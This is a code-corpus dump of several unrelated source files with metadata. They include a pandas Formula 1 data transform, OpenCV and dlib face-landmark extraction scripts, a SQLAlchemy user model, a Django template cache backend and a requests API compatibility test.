#/*******************************/# | zh | 0.621372 | # -*- coding:UTF8 -*- #!/usr/bin/python #Shieber on 2018/8/8 #图及其结构 #********************问题1****************************************# 字梯圖 #去掉换行符 #G,d = buildCharGraph("wordfile.txt") #print(G.getVertices()) #print(G.getEdge()) #print(d.keys()) #*******解决方案********# 字梯图解决方案:广度优先搜索,时间复杂度:O(V+E) #加入队列 打印出任意字回到原始字的路径 #********************问题2****************************************# 骑士之旅图 #将坐标转换为点数 #得到可去的坐标 得到可去的坐标 #对于马来说，可以移动的步伐向量 判断是否超界 #if 0<= row < size and 0<= col < size: # return True #else: # return False 将坐标转换为点数 #print "point number:%d"%g.numVertice #print "Edge number:%d"%g.edgeNumber #print "space rate :%.2f%%"%((g.edgeNumber + 0.0)*100/(i**4)) #*******解决方案1********# 深度优先树,时间复杂度:O(k^N),非常高 #*******解决方案2********# 启发式算法,局部搜索 深度优先树,结合启发式算法,时间复杂度:O(2^N), #从短的到长的,反向来 G = kinghtGraph(8) path = [] vertex = G.getVertex(0) DFS2(0,path,vertex,63) print len(path) ######################################################### 通用深度优化森林,时间复杂度:O(V+E) 清空点的颜色，从新开始迭代查找 迭代查找 ######################################################### #/*******************************/# 强连通分量算法 #计算图的完成时间 #func1 #转置图 func2 #func3 联通量算法辅助1:将完成时间列表排序 #从大到小排列完成时间 连通量算法辅助2:得到一幅图的转置图 连通量算法辅助3:拆分列表 #总的列表，存储所有小的连通量 #/*******************************/# 最短路径算法,时间复杂度:O((V+E)logV) 需要整个图，实际运用不现实 距离矢量路由算法只需要一部分图顶点 #加入队列 #/*******************************/# 贪婪算法系列算法,时间复杂度:O((V+E)logV + V) #创建优先队列 打印出任意顶点回到起点的最短路径 #/*******************************/# | 3.424286 | 3 |
DataPipeline/transform.py | kelleyjean/condenast-de-project | 0 | 6623602 | import pandas as pd
import csv
import glob
from datetime import datetime
pickle_path = 'pickle_files'
pickle_files = glob.glob(pickle_path + '/*.pkl')
pitstops_df = pd.read_pickle(pickle_path + './pit_stops.csv.pkl')
races_df = pd.read_pickle(pickle_path + './races.csv.pkl')
driver_df = pd.read_pickle(pickle_path + './drivers.csv.pkl')
results_df = pd.read_pickle(pickle_path + './results.csv.pkl')
def clean_data():
pitstops_df['duration'] = pd.to_numeric(pitstops_df.duration, errors='coerce')
return pitstops_df
def transformation_1():
clean_data()
#merges pitstops and races on raceId to bring in race name
merged_df_1 = pitstops_df.merge(races_df, how='inner', on = 'raceId')
merged_df_2 = merged_df_1.merge(driver_df, how='inner', on = 'driverId')
new_df_cols = merged_df_2.columns.tolist()
if 'driverId' and 'raceId' and 'forename' and 'surname' and 'name' in new_df_cols:
print('driverId, raceId, forename, surname, and name exist in new dataframe.')
else:
print('One or more columns are missing.')
if 'duration' in new_df_cols and merged_df_2['duration'].dtype == 'float64':
print('duration exists in dataframe and datatype is float.')
else:
print('duration does not exist in dataframe')
analysis_df = merged_df_2[['raceId', 'driverId', 'name', 'forename', 'surname', 'duration']]
# group data to get average duration and write to csv file
analysis_df = analysis_df.groupby(['raceId', 'driverId', 'name', 'forename', 'surname'], as_index=False)['duration'].mean()
analysis_df.to_csv(
'transformation_1.csv',
index=False,
encoding='utf-8'
)
def transformation_2():
driver_df['code'] = driver_df['surname'].str.upper()
driver_df['code'] = driver_df['code'].str.slice(start=0, stop=3)
driver_df.to_csv(
'transformation_2.csv',
index=False,
encoding='utf-8'
)
def transformation_3(season_year):
season_year = season_year
merged_df_1 = races_df.merge(results_df, how='inner', on = 'raceId')
merged_df_2 = merged_df_1.merge(driver_df, how='inner', on = 'driverId')
selected_year_df = merged_df_2.loc[merged_df_2['year'] == season_year]
#pseudo logic:
#a year (int64) is passed through the function which selects the season to run the analysis
#select min(season_year_race_date) and max(season_year_race_date)
#create two columns, the driver's DOB subtracted from the min(season_year_date) and the driver's DOB subtracted from max(season_year_date)
# for min(season_year_dat) column, select the driver(s) with youngest/oldest age, and do the same for max(season_year_date)
# return results to csv
#exception handling should be implemented in the event that the season_year entered is not within the range of years in the file
transformation_1()
transformation_2() | import pandas as pd
import csv
import glob
from datetime import datetime
pickle_path = 'pickle_files'
pickle_files = glob.glob(pickle_path + '/*.pkl')
pitstops_df = pd.read_pickle(pickle_path + './pit_stops.csv.pkl')
races_df = pd.read_pickle(pickle_path + './races.csv.pkl')
driver_df = pd.read_pickle(pickle_path + './drivers.csv.pkl')
results_df = pd.read_pickle(pickle_path + './results.csv.pkl')
def clean_data():
pitstops_df['duration'] = pd.to_numeric(pitstops_df.duration, errors='coerce')
return pitstops_df
def transformation_1():
clean_data()
#merges pitstops and races on raceId to bring in race name
merged_df_1 = pitstops_df.merge(races_df, how='inner', on = 'raceId')
merged_df_2 = merged_df_1.merge(driver_df, how='inner', on = 'driverId')
new_df_cols = merged_df_2.columns.tolist()
if 'driverId' and 'raceId' and 'forename' and 'surname' and 'name' in new_df_cols:
print('driverId, raceId, forename, surname, and name exist in new dataframe.')
else:
print('One or more columns are missing.')
if 'duration' in new_df_cols and merged_df_2['duration'].dtype == 'float64':
print('duration exists in dataframe and datatype is float.')
else:
print('duration does not exist in dataframe')
analysis_df = merged_df_2[['raceId', 'driverId', 'name', 'forename', 'surname', 'duration']]
# group data to get average duration and write to csv file
analysis_df = analysis_df.groupby(['raceId', 'driverId', 'name', 'forename', 'surname'], as_index=False)['duration'].mean()
analysis_df.to_csv(
'transformation_1.csv',
index=False,
encoding='utf-8'
)
def transformation_2():
driver_df['code'] = driver_df['surname'].str.upper()
driver_df['code'] = driver_df['code'].str.slice(start=0, stop=3)
driver_df.to_csv(
'transformation_2.csv',
index=False,
encoding='utf-8'
)
def transformation_3(season_year):
season_year = season_year
merged_df_1 = races_df.merge(results_df, how='inner', on = 'raceId')
merged_df_2 = merged_df_1.merge(driver_df, how='inner', on = 'driverId')
selected_year_df = merged_df_2.loc[merged_df_2['year'] == season_year]
#pseudo logic:
#a year (int64) is passed through the function which selects the season to run the analysis
#select min(season_year_race_date) and max(season_year_race_date)
#create two columns, the driver's DOB subtracted from the min(season_year_date) and the driver's DOB subtracted from max(season_year_date)
# for min(season_year_dat) column, select the driver(s) with youngest/oldest age, and do the same for max(season_year_date)
# return results to csv
#exception handling should be implemented in the event that the season_year entered is not within the range of years in the file
transformation_1()
transformation_2() | en | 0.863017 | #merges pitstops and races on raceId to bring in race name # group data to get average duration and write to csv file #pseudo logic: #a year (int64) is passed through the function which selects the season to run the analysis #select min(season_year_race_date) and max(season_year_race_date) #create two columns, the driver's DOB subtracted from the min(season_year_date) and the driver's DOB subtracted from max(season_year_date) # for min(season_year_dat) column, select the driver(s) with youngest/oldest age, and do the same for max(season_year_date) # return results to csv #exception handling should be implemented in the event that the season_year entered is not within the range of years in the file | 3.271378 | 3 |
cutvideo2frames.py | Talegqz/phased_based-motion__disentanglement | 1 | 6623603 | <filename>cutvideo2frames.py
import numpy as np
import cv2
from PIL import Image
import os
def deal_video():
cap = cv2.VideoCapture('data/cinesmall.avi')
a = 0
frams = []
while(cap.isOpened()):
ret, frame = cap.read()
a+=1
# pic.show()
if ret == True:
frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)
pic = Image.fromarray(frame,"RGB")
# pic = pic.resize((64,64))
pic.save('data/cine/%d.png'%a)
# cv2.imshow('frame',frame)
else:
break
if cv2.waitKey(1) & 0xFF == ord('q'):
break
cap.release()
cv2.destroyAllWindows()
if __name__ == '__main__':
deal_video() | <filename>cutvideo2frames.py
import numpy as np
import cv2
from PIL import Image
import os
def deal_video():
cap = cv2.VideoCapture('data/cinesmall.avi')
a = 0
frams = []
while(cap.isOpened()):
ret, frame = cap.read()
a+=1
# pic.show()
if ret == True:
frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)
pic = Image.fromarray(frame,"RGB")
# pic = pic.resize((64,64))
pic.save('data/cine/%d.png'%a)
# cv2.imshow('frame',frame)
else:
break
if cv2.waitKey(1) & 0xFF == ord('q'):
break
cap.release()
cv2.destroyAllWindows()
if __name__ == '__main__':
deal_video() | en | 0.192178 | # pic.show() # pic = pic.resize((64,64)) # cv2.imshow('frame',frame) | 2.941422 | 3 |
charybdis/user/models.py | gitter-badger/charybdis | 0 | 6623604 | <filename>charybdis/user/models.py
from uuid import uuid4
from passlib.hash import pbkdf2_sha512
from slugify import slugify
from sqlalchemy.dialects.postgresql import UUID
from sqlalchemy.ext.hybrid import hybrid_property
from sqlalchemy.orm import backref
from ..app import db
from ..domain.models import Domain
from ..permission.models import Permission
from ..project.models import Project
class UserRole(db.Model):
slug = db.Column(db.String, nullable=False)
@db.validates("slug")
def validate_slug(self, key, value) -> str:
assert slugify(value) == value, "Incorrect slug for user role!"
return value
class User(db.Model):
first_name = db.Column(db.String, nullable=False)
last_name = db.Column(db.String, nullable=False)
patronymic = db.Column(db.String, nullable=True)
birthday = db.Column(db.Date, nullable=False)
role_id = db.Column(db.Integer, db.ForeignKey(UserRole.id), nullable=False)
role = db.relationship(UserRole)
is_active = db.Column(db.Boolean, default=True, server_default="true")
username = db.Column(db.String, unique=True)
_password_hash = db.Column("password_hash", db.String)
uuid = db.Column(UUID(as_uuid=True), default=uuid4, nullable=False)
domain_id = db.Column(db.Integer, db.ForeignKey(Domain.id), nullable=False)
domain = db.relationship(Domain)
@db.validates("username")
def validate_username(self, key: str, value: str) -> str:
assert value == slugify(value), "Incorrect username!"
return value
@property
def rolename(self):
return self.role.slug
@classmethod
def lookup(cls, username):
return cls.query.filter_by(username=username).one_or_none()
@hybrid_property
def password_hash(self) -> str:
return self._password_hash
@password_hash.setter
def password_hash(self, value: str) -> None:
self._password_hash = <PASSWORD>.<PASSWORD>(value)
def check_password(self, candidate: str) -> bool:
return pbkdf2_sha512.verify(candidate, self._password_hash)
class UserPermissionLinker(db.Model):
permission_id = db.Column(db.Integer, db.ForeignKey(Permission.id), nullable=False)
user_id = db.Column(db.Integer, db.ForeignKey(User.id), nullable=False)
permission = db.relationship(Permission, uselist=False)
user = db.relationship(User)
project_id = db.Column(db.Integer, db.ForeignKey(Project.id), nullable=False)
project = db.relationship(Project, backref=backref("users"), uselist=False)
__table_args__ = (db.UniqueConstraint("permission_id", "user_id", "project_id"),)
| <filename>charybdis/user/models.py
from uuid import uuid4
from passlib.hash import pbkdf2_sha512
from slugify import slugify
from sqlalchemy.dialects.postgresql import UUID
from sqlalchemy.ext.hybrid import hybrid_property
from sqlalchemy.orm import backref
from ..app import db
from ..domain.models import Domain
from ..permission.models import Permission
from ..project.models import Project
class UserRole(db.Model):
slug = db.Column(db.String, nullable=False)
@db.validates("slug")
def validate_slug(self, key, value) -> str:
assert slugify(value) == value, "Incorrect slug for user role!"
return value
class User(db.Model):
first_name = db.Column(db.String, nullable=False)
last_name = db.Column(db.String, nullable=False)
patronymic = db.Column(db.String, nullable=True)
birthday = db.Column(db.Date, nullable=False)
role_id = db.Column(db.Integer, db.ForeignKey(UserRole.id), nullable=False)
role = db.relationship(UserRole)
is_active = db.Column(db.Boolean, default=True, server_default="true")
username = db.Column(db.String, unique=True)
_password_hash = db.Column("password_hash", db.String)
uuid = db.Column(UUID(as_uuid=True), default=uuid4, nullable=False)
domain_id = db.Column(db.Integer, db.ForeignKey(Domain.id), nullable=False)
domain = db.relationship(Domain)
@db.validates("username")
def validate_username(self, key: str, value: str) -> str:
assert value == slugify(value), "Incorrect username!"
return value
@property
def rolename(self):
return self.role.slug
@classmethod
def lookup(cls, username):
return cls.query.filter_by(username=username).one_or_none()
@hybrid_property
def password_hash(self) -> str:
return self._password_hash
@password_hash.setter
def password_hash(self, value: str) -> None:
self._password_hash = <PASSWORD>.<PASSWORD>(value)
def check_password(self, candidate: str) -> bool:
return pbkdf2_sha512.verify(candidate, self._password_hash)
class UserPermissionLinker(db.Model):
permission_id = db.Column(db.Integer, db.ForeignKey(Permission.id), nullable=False)
user_id = db.Column(db.Integer, db.ForeignKey(User.id), nullable=False)
permission = db.relationship(Permission, uselist=False)
user = db.relationship(User)
project_id = db.Column(db.Integer, db.ForeignKey(Project.id), nullable=False)
project = db.relationship(Project, backref=backref("users"), uselist=False)
__table_args__ = (db.UniqueConstraint("permission_id", "user_id", "project_id"),)
| none | 1 | 2.47512 | 2 | |
apps/external_apps/dbtemplates/cache.py | indro/t2c | 3 | 6623605 | import os
from django.conf import settings
from django.core.cache import cache
from django.template import TemplateDoesNotExist
from django.core.exceptions import ImproperlyConfigured
from django.utils.encoding import smart_unicode, force_unicode
class BaseCacheBackend(object):
"""
Base class for custom cache backend of dbtemplates to be used while
subclassing.
Set DBTEMPLATES_CACHE_BACKEND setting to the Python path to that subclass.
"""
def _site(self):
from django.contrib.sites.models import Site
return Site.objects.get_current()
site = property(_site)
def load(self, name):
"""
Loads a template from the cache with the given name.
"""
raise NotImplemented
def save(self, name, content):
"""
Saves the given template content with the given name in the cache.
"""
raise NotImplemented
def remove(self, name):
"""
Removes the template with the given name from the cache.
"""
raise NotImplemented
class DjangoCacheBackend(BaseCacheBackend):
"""
A cache backend that uses Django's cache mechanism.
"""
def _cache_key(self, name):
return 'dbtemplates::%s' % name
def load(self, name):
cache_key = self._cache_key(name)
return cache.get(cache_key)
def save(self, name, content):
cache_key = self._cache_key(name)
cache.set(cache_key, content)
def remove(self, name):
cache_key = self._cache_key(name)
cache.delete(cache_key)
class FileSystemBackend(BaseCacheBackend):
"""
A cache backend that uses simple files to hold the template cache.
"""
def __init__(self):
try:
self.cache_dir = getattr(settings, 'DBTEMPLATES_CACHE_DIR', None)
self.cache_dir = os.path.normpath(self.cache_dir)
if not os.path.isdir(self.cache_dir):
pass
except:
raise ImproperlyConfigured('You\'re using the dbtemplates\' file system cache backend without having set the DBTEMPLATES_CACHE_DIR setting to a valid value. Make sure the directory exists and is writeable for the user your Django instance is running with.')
super(FileSystemBackend, self).__init__()
def _filepath(self, name):
return os.path.join(self.cache_dir, name)
def load(self, name):
try:
filepath = self._filepath(name)
return open(filepath).read().decode('utf-8')
except:
return None
def save(self, name, content, retry=False):
try:
filepath = self._filepath(name)
dirname = os.path.dirname(filepath)
if not os.path.exists(dirname):
os.makedirs(dirname)
cache_file = open(filepath, 'w')
cache_file.write(force_unicode(content).encode('utf-8'))
cache_file.close()
except Exception:
raise
def remove(self, name):
try:
filepath = self._filepath(name)
os.remove(filepath)
except:
pass
| import os
from django.conf import settings
from django.core.cache import cache
from django.template import TemplateDoesNotExist
from django.core.exceptions import ImproperlyConfigured
from django.utils.encoding import smart_unicode, force_unicode
class BaseCacheBackend(object):
"""
Base class for custom cache backend of dbtemplates to be used while
subclassing.
Set DBTEMPLATES_CACHE_BACKEND setting to the Python path to that subclass.
"""
def _site(self):
from django.contrib.sites.models import Site
return Site.objects.get_current()
site = property(_site)
def load(self, name):
"""
Loads a template from the cache with the given name.
"""
raise NotImplemented
def save(self, name, content):
"""
Saves the given template content with the given name in the cache.
"""
raise NotImplemented
def remove(self, name):
"""
Removes the template with the given name from the cache.
"""
raise NotImplemented
class DjangoCacheBackend(BaseCacheBackend):
"""
A cache backend that uses Django's cache mechanism.
"""
def _cache_key(self, name):
return 'dbtemplates::%s' % name
def load(self, name):
cache_key = self._cache_key(name)
return cache.get(cache_key)
def save(self, name, content):
cache_key = self._cache_key(name)
cache.set(cache_key, content)
def remove(self, name):
cache_key = self._cache_key(name)
cache.delete(cache_key)
class FileSystemBackend(BaseCacheBackend):
"""
A cache backend that uses simple files to hold the template cache.
"""
def __init__(self):
try:
self.cache_dir = getattr(settings, 'DBTEMPLATES_CACHE_DIR', None)
self.cache_dir = os.path.normpath(self.cache_dir)
if not os.path.isdir(self.cache_dir):
pass
except:
raise ImproperlyConfigured('You\'re using the dbtemplates\' file system cache backend without having set the DBTEMPLATES_CACHE_DIR setting to a valid value. Make sure the directory exists and is writeable for the user your Django instance is running with.')
super(FileSystemBackend, self).__init__()
def _filepath(self, name):
return os.path.join(self.cache_dir, name)
def load(self, name):
try:
filepath = self._filepath(name)
return open(filepath).read().decode('utf-8')
except:
return None
def save(self, name, content, retry=False):
try:
filepath = self._filepath(name)
dirname = os.path.dirname(filepath)
if not os.path.exists(dirname):
os.makedirs(dirname)
cache_file = open(filepath, 'w')
cache_file.write(force_unicode(content).encode('utf-8'))
cache_file.close()
except Exception:
raise
def remove(self, name):
try:
filepath = self._filepath(name)
os.remove(filepath)
except:
pass
| en | 0.619798 | Base class for custom cache backend of dbtemplates to be used while subclassing. Set DBTEMPLATES_CACHE_BACKEND setting to the Python path to that subclass. Loads a template from the cache with the given name. Saves the given template content with the given name in the cache. Removes the template with the given name from the cache. A cache backend that uses Django's cache mechanism. A cache backend that uses simple files to hold the template cache. | 2.17045 | 2 |
examples/raspi/output_sensor_data.py | WeHaus/WeHaus_NodeJS_Client | 0 | 6623606 | #!/usr/bin/python
import sys
import Adafruit_DHT
humidity, temperature = Adafruit_DHT.read_retry(11, 4)
print('{0:0.1f},{1:0.1f}'.format(temperature, humidity))
| #!/usr/bin/python
import sys
import Adafruit_DHT
humidity, temperature = Adafruit_DHT.read_retry(11, 4)
print('{0:0.1f},{1:0.1f}'.format(temperature, humidity))
| ru | 0.258958 | #!/usr/bin/python | 2.642467 | 3 |
tests/requests_compat/test_api.py | mwoss/httpx | 1 | 6623607 | <reponame>mwoss/httpx
"""Test compatibility with the Requests high-level API."""
import pytest
import requests
@pytest.mark.copied_from(
"https://github.com/psf/requests/blob/v2.22.0/tests/test_requests.py#L61-L70"
)
def test_entrypoints():
requests.session
requests.session().get
requests.session().head
requests.get
requests.head
requests.put
requests.patch
requests.post
@pytest.mark.copied_from(
"https://github.com/psf/requests/blob/v2.22.0/tests/test_requests.py#L72",
changes=["added noqa comment to silence flake8"],
)
@pytest.mark.xfail(
reason="PoolManager has no obvious equivalent in HTTPX", raises=ImportError
)
def test_poolmanager_entrypoint():
# Not really an entry point, but people rely on it.
from requests.packages.urllib3.poolmanager import PoolManager # noqa: F401
| """Test compatibility with the Requests high-level API."""
import pytest
import requests
@pytest.mark.copied_from(
"https://github.com/psf/requests/blob/v2.22.0/tests/test_requests.py#L61-L70"
)
def test_entrypoints():
requests.session
requests.session().get
requests.session().head
requests.get
requests.head
requests.put
requests.patch
requests.post
@pytest.mark.copied_from(
"https://github.com/psf/requests/blob/v2.22.0/tests/test_requests.py#L72",
changes=["added noqa comment to silence flake8"],
)
@pytest.mark.xfail(
reason="PoolManager has no obvious equivalent in HTTPX", raises=ImportError
)
def test_poolmanager_entrypoint():
# Not really an entry point, but people rely on it.
from requests.packages.urllib3.poolmanager import PoolManager # noqa: F401 | en | 0.949581 | Test compatibility with the Requests high-level API. #L61-L70" #L72", # Not really an entry point, but people rely on it. # noqa: F401 | 2.329088 | 2 |
AMLS_19-20_ZHIDIAN_XIE_SN16077117/face_landmarks.py | RawTimmy/AMLSassignment19_20 | 1 | 6623608 | import os
import numpy as np
from keras.preprocessing import image
import cv2
import dlib
# PATH TO ALL IMAGES
# global basedir_celeba, basedir_cartoon, image_paths_celeba, image_paths_cartoon, target_size
global basedir_celeba, basedir_celeba_test, image_paths_celeba, image_paths_celeba_test, target_size
basedir_celeba = './Datasets/celeba'
basedir_celeba_test = './Datasets/dataset_test_AMLS_19-20/celeba_test'
images_dir_celeba = os.path.join(basedir_celeba,'img')
images_dir_celeba_test = os.path.join(basedir_celeba_test,'img')
# basedir_cartoon = './Datasets/cartoon_set'
# images_dir_cartoon = os.path.join(basedir_cartoon,'img')
labels_filename = 'labels.csv'
detector = dlib.get_frontal_face_detector()
predictor = dlib.shape_predictor('shape_predictor_68_face_landmarks.dat')
# how to find frontal human faces in an image using 68 landmarks. These are points on the face such as the corners of the mouth, along the eyebrows, on the eyes, and so forth.
# The face detector we use is made using the classic Histogram of Oriented
# Gradients (HOG) feature combined with a linear classifier, an image pyramid,
# and sliding window detection scheme. The pose estimator was created by
# using dlib's implementation of the paper:
# One Millisecond Face Alignment with an Ensemble of Regression Trees by
# <NAME> and <NAME>, CVPR 2014
# and was trained on the iBUG 300-W face landmark dataset (see https://ibug.doc.ic.ac.uk/resources/facial-point-annotations/):
# <NAME>, <NAME>, <NAME>, <NAME>, <NAME>.
# 300 faces In-the-wild challenge: Database and results.
# Image and Vision Computing (IMAVIS), Special Issue on Facial Landmark Localisation "In-The-Wild". 2016.
def shape_to_np(shape, dtype="int"):
# initialize the list of (x, y)-coordinates
coords = np.zeros((shape.num_parts, 2), dtype=dtype)
# loop over all facial landmarks and convert them
# to a 2-tuple of (x, y)-coordinates
for i in range(0, shape.num_parts):
coords[i] = (shape.part(i).x, shape.part(i).y)
# return the list of (x, y)-coordinates
return coords
def rect_to_bb(rect):
# take a bounding predicted by dlib and convert it
# to the format (x, y, w, h) as we would normally do
# with OpenCV
x = rect.left()
y = rect.top()
w = rect.right() - x
h = rect.bottom() - y
# return a tuple of (x, y, w, h)
return (x, y, w, h)
def run_dlib_shape(image):
# in this function we load the image, detect the landmarks of the face, and then return the image and the landmarks
# load the input image, resize it, and convert it to grayscale
resized_image = image.astype('uint8')
gray = cv2.cvtColor(resized_image, cv2.COLOR_BGR2GRAY)
gray = gray.astype('uint8')
# detect faces in the grayscale image
rects = detector(gray, 1)
num_faces = len(rects)
if num_faces == 0:
return None, resized_image
face_areas = np.zeros((1, num_faces))
face_shapes = np.zeros((136, num_faces), dtype=np.int64)
# loop over the face detections
for (i, rect) in enumerate(rects):
# determine the facial landmarks for the face region, then
# convert the facial landmark (x, y)-coordinates to a NumPy
# array
temp_shape = predictor(gray, rect)
temp_shape = shape_to_np(temp_shape)
# convert dlib's rectangle to a OpenCV-style bounding box
# [i.e., (x, y, w, h)],
# (x, y, w, h) = face_utils.rect_to_bb(rect)
(x, y, w, h) = rect_to_bb(rect)
face_shapes[:, i] = np.reshape(temp_shape, [136])
face_areas[0, i] = w * h
# find largest face and keep
dlibout = np.reshape(np.transpose(face_shapes[:, np.argmax(face_areas)]), [68, 2])
return dlibout, resized_image
def extract_features_labels(test):
"""
This funtion extracts the landmarks features for all images in the folder 'Datasets/celeba/img'.
It also extracts the gender label for each image.
:return:
landmark_features: an array containing 68 landmark points for each image in which a face was detected
gender_labels: an array containing the gender label (male=0 and female=1) for each image in
which a face was detected
"""
select_dir_celeba, select_basedir_celeba = None, None
if test is False:
select_dir_celeba, select_basedir_celeba = images_dir_celeba, basedir_celeba
else:
select_dir_celeba, select_basedir_celeba = images_dir_celeba_test, basedir_celeba_test
image_paths_celeba = [os.path.join(select_dir_celeba, l) for l in os.listdir(select_dir_celeba)]
target_size = None
labels_file = open(os.path.join(select_basedir_celeba, labels_filename), 'r')
lines = labels_file.readlines()
gender_emo_labels = {line.split('\t')[1] : np.array([int(line.split('\t')[2]), int(line.split('\t')[3])]) for line in lines[1:]}
if os.path.isdir(select_dir_celeba):
all_features = []
all_labels = []
for img_path in image_paths_celeba:
file_name= img_path.split('.')[1].split('/')[-1]
# load image
img = image.img_to_array(
image.load_img(img_path,
target_size=target_size,
interpolation='bicubic'))
features, _ = run_dlib_shape(img)
if features is not None:
all_features.append(features)
all_labels.append(gender_emo_labels[file_name+'.jpg'])
output_features = np.array(all_features)
output_labels = (np.array(all_labels) + 1) / 2
return output_features, output_labels
# def extract_features_labels_cartoon():
# image_paths_cartoon = [os.path.join(images_dir_cartoon, l) for l in os.listdir(images_dir_cartoon)]
# target_size = None
# labels_file = open(os.path.join(basedir_cartoon, labels_filename), 'r')
# lines = labels_file.readlines()
# face_shape_labels = {line.split('\t')[-1].split('\n')[0] : int(line.split('\t')[2]) for line in lines[1:]}
#
# eye_color_labels = {line.split('\t')[-1].split('\n')[0] : int(line.split('\t')[2]) for line in lines[1:]}
#
# if os.path.isdir(images_dir_cartoon):
# all_features = []
# all_labels_face_shape = []
# all_labels_eye_color = []
# for img_path in image_paths_cartoon:
# file_name = img_path.split('.')[1].split('/')[-1]
#
# img = image.img_to_array(image.load_img(img_path,
# target_size=(128,128),
# interpolation='bicubic'))
# features, _ = run_dlib_shape(img)
# if features is not None:
# all_features.append(features)
# all_labels_face_shape.append(face_shape_labels[file_name+'.png'])
# all_labels_eye_color.append(eye_color_labels[file_name+'.png'])
#
# landmark_features = np.array(all_features)
# face_shape_labels = np.array(all_labels_face_shape)
# eye_color_labels = np.array(all_labels_eye_color)
# return landmark_features, face_shape_labels, eye_color_labels
| import os
import numpy as np
from keras.preprocessing import image
import cv2
import dlib
# PATH TO ALL IMAGES
# global basedir_celeba, basedir_cartoon, image_paths_celeba, image_paths_cartoon, target_size
global basedir_celeba, basedir_celeba_test, image_paths_celeba, image_paths_celeba_test, target_size
basedir_celeba = './Datasets/celeba'
basedir_celeba_test = './Datasets/dataset_test_AMLS_19-20/celeba_test'
images_dir_celeba = os.path.join(basedir_celeba,'img')
images_dir_celeba_test = os.path.join(basedir_celeba_test,'img')
# basedir_cartoon = './Datasets/cartoon_set'
# images_dir_cartoon = os.path.join(basedir_cartoon,'img')
labels_filename = 'labels.csv'
detector = dlib.get_frontal_face_detector()
predictor = dlib.shape_predictor('shape_predictor_68_face_landmarks.dat')
# how to find frontal human faces in an image using 68 landmarks. These are points on the face such as the corners of the mouth, along the eyebrows, on the eyes, and so forth.
# The face detector we use is made using the classic Histogram of Oriented
# Gradients (HOG) feature combined with a linear classifier, an image pyramid,
# and sliding window detection scheme. The pose estimator was created by
# using dlib's implementation of the paper:
# One Millisecond Face Alignment with an Ensemble of Regression Trees by
# <NAME> and <NAME>, CVPR 2014
# and was trained on the iBUG 300-W face landmark dataset (see https://ibug.doc.ic.ac.uk/resources/facial-point-annotations/):
# <NAME>, <NAME>, <NAME>, <NAME>, <NAME>.
# 300 faces In-the-wild challenge: Database and results.
# Image and Vision Computing (IMAVIS), Special Issue on Facial Landmark Localisation "In-The-Wild". 2016.
def shape_to_np(shape, dtype="int"):
# initialize the list of (x, y)-coordinates
coords = np.zeros((shape.num_parts, 2), dtype=dtype)
# loop over all facial landmarks and convert them
# to a 2-tuple of (x, y)-coordinates
for i in range(0, shape.num_parts):
coords[i] = (shape.part(i).x, shape.part(i).y)
# return the list of (x, y)-coordinates
return coords
def rect_to_bb(rect):
# take a bounding predicted by dlib and convert it
# to the format (x, y, w, h) as we would normally do
# with OpenCV
x = rect.left()
y = rect.top()
w = rect.right() - x
h = rect.bottom() - y
# return a tuple of (x, y, w, h)
return (x, y, w, h)
def run_dlib_shape(image):
# in this function we load the image, detect the landmarks of the face, and then return the image and the landmarks
# load the input image, resize it, and convert it to grayscale
resized_image = image.astype('uint8')
gray = cv2.cvtColor(resized_image, cv2.COLOR_BGR2GRAY)
gray = gray.astype('uint8')
# detect faces in the grayscale image
rects = detector(gray, 1)
num_faces = len(rects)
if num_faces == 0:
return None, resized_image
face_areas = np.zeros((1, num_faces))
face_shapes = np.zeros((136, num_faces), dtype=np.int64)
# loop over the face detections
for (i, rect) in enumerate(rects):
# determine the facial landmarks for the face region, then
# convert the facial landmark (x, y)-coordinates to a NumPy
# array
temp_shape = predictor(gray, rect)
temp_shape = shape_to_np(temp_shape)
# convert dlib's rectangle to a OpenCV-style bounding box
# [i.e., (x, y, w, h)],
# (x, y, w, h) = face_utils.rect_to_bb(rect)
(x, y, w, h) = rect_to_bb(rect)
face_shapes[:, i] = np.reshape(temp_shape, [136])
face_areas[0, i] = w * h
# find largest face and keep
dlibout = np.reshape(np.transpose(face_shapes[:, np.argmax(face_areas)]), [68, 2])
return dlibout, resized_image
def extract_features_labels(test):
"""
This funtion extracts the landmarks features for all images in the folder 'Datasets/celeba/img'.
It also extracts the gender label for each image.
:return:
landmark_features: an array containing 68 landmark points for each image in which a face was detected
gender_labels: an array containing the gender label (male=0 and female=1) for each image in
which a face was detected
"""
select_dir_celeba, select_basedir_celeba = None, None
if test is False:
select_dir_celeba, select_basedir_celeba = images_dir_celeba, basedir_celeba
else:
select_dir_celeba, select_basedir_celeba = images_dir_celeba_test, basedir_celeba_test
image_paths_celeba = [os.path.join(select_dir_celeba, l) for l in os.listdir(select_dir_celeba)]
target_size = None
labels_file = open(os.path.join(select_basedir_celeba, labels_filename), 'r')
lines = labels_file.readlines()
gender_emo_labels = {line.split('\t')[1] : np.array([int(line.split('\t')[2]), int(line.split('\t')[3])]) for line in lines[1:]}
if os.path.isdir(select_dir_celeba):
all_features = []
all_labels = []
for img_path in image_paths_celeba:
file_name= img_path.split('.')[1].split('/')[-1]
# load image
img = image.img_to_array(
image.load_img(img_path,
target_size=target_size,
interpolation='bicubic'))
features, _ = run_dlib_shape(img)
if features is not None:
all_features.append(features)
all_labels.append(gender_emo_labels[file_name+'.jpg'])
output_features = np.array(all_features)
output_labels = (np.array(all_labels) + 1) / 2
return output_features, output_labels
# def extract_features_labels_cartoon():
# image_paths_cartoon = [os.path.join(images_dir_cartoon, l) for l in os.listdir(images_dir_cartoon)]
# target_size = None
# labels_file = open(os.path.join(basedir_cartoon, labels_filename), 'r')
# lines = labels_file.readlines()
# face_shape_labels = {line.split('\t')[-1].split('\n')[0] : int(line.split('\t')[2]) for line in lines[1:]}
#
# eye_color_labels = {line.split('\t')[-1].split('\n')[0] : int(line.split('\t')[2]) for line in lines[1:]}
#
# if os.path.isdir(images_dir_cartoon):
# all_features = []
# all_labels_face_shape = []
# all_labels_eye_color = []
# for img_path in image_paths_cartoon:
# file_name = img_path.split('.')[1].split('/')[-1]
#
# img = image.img_to_array(image.load_img(img_path,
# target_size=(128,128),
# interpolation='bicubic'))
# features, _ = run_dlib_shape(img)
# if features is not None:
# all_features.append(features)
# all_labels_face_shape.append(face_shape_labels[file_name+'.png'])
# all_labels_eye_color.append(eye_color_labels[file_name+'.png'])
#
# landmark_features = np.array(all_features)
# face_shape_labels = np.array(all_labels_face_shape)
# eye_color_labels = np.array(all_labels_eye_color)
# return landmark_features, face_shape_labels, eye_color_labels
